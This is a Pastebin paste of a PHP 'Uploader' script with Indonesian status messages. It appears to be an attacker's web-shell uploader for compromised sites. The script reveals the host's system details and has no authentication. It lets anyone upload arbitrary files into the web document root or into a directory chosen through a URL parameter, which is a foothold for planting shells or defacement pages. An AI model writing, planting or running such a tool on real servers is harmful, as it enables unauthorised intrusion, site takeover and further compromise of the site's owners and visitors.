Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- $web = "http://".$_SERVER['HTTP_HOST']."/";
- echo '
- <meta http-equiv="refresh" content="">
- <meta name="author" content="star">
- <meta name="keyword" content="Uploader by">
- <title> Uploader </title>
- <center>
- <font color="black">Uploader<br>
- <b>'.php_uname().'</b><br>
- <style>
- html,body {
- background-color: white;
- color: red;
- font-family: "monospace", cursive;
- }
- </style>
- <form method="post" enctype="multipart/form-data">
- <input type="radio" name="tipe" value="root">Home root<input type="radio" name="tipe" value="biasa">Biasa <br><br>
- choose your file:   <input type="file" name= "idx_file">
- <input type="submit" name="upload" value="upload">
- </form>';
- if(isset($_POST['upload'])) {
- switch($_POST['tipe']){
- case "root":
- $root = $_SERVER['DOCUMENT_ROOT'];
- $files = $_FILES['idx_file']['name'];
- $dest = $root.'/'.$files;
- if(is_writable($root)) {
- if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
- echo "sukses upload -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
- } else {
- echo "gagal upload di document root.";
- }
- } else {
- if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
- echo "sukses upload <b>$files</b> di folder ini<br>Webna '.$web.$files.'";
- } else {
- echo "gagal upload";
- }
- }
- case "biasa":
- if(isset($_GET['path'])){
- $path = $_GET['path'];
- }else{
- $path = getcwd();
- }
- echo '</td></tr><tr><td>';
- $asu = $_FILES['idx_file']['tmp_name'];
- if(copy($_FILES['idx_file']['tmp_name'],$path.'/'.$_FILES['idx_file']['name'])){
- echo '<font color="lime">upload berhasil! di <a href="$web/$asu" target="_blank"><b><u>$web/$files</u></b></a></font><br />';
- }else{
- echo '<font color="red">upload gagal!
- <a href="$web/$files" target="_blank"><b><u>$web/$files</u></b></a></font><br />';
- }
- break;
- default: echo "<script>alert('Harap pilih opsi');</script>"; break;
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement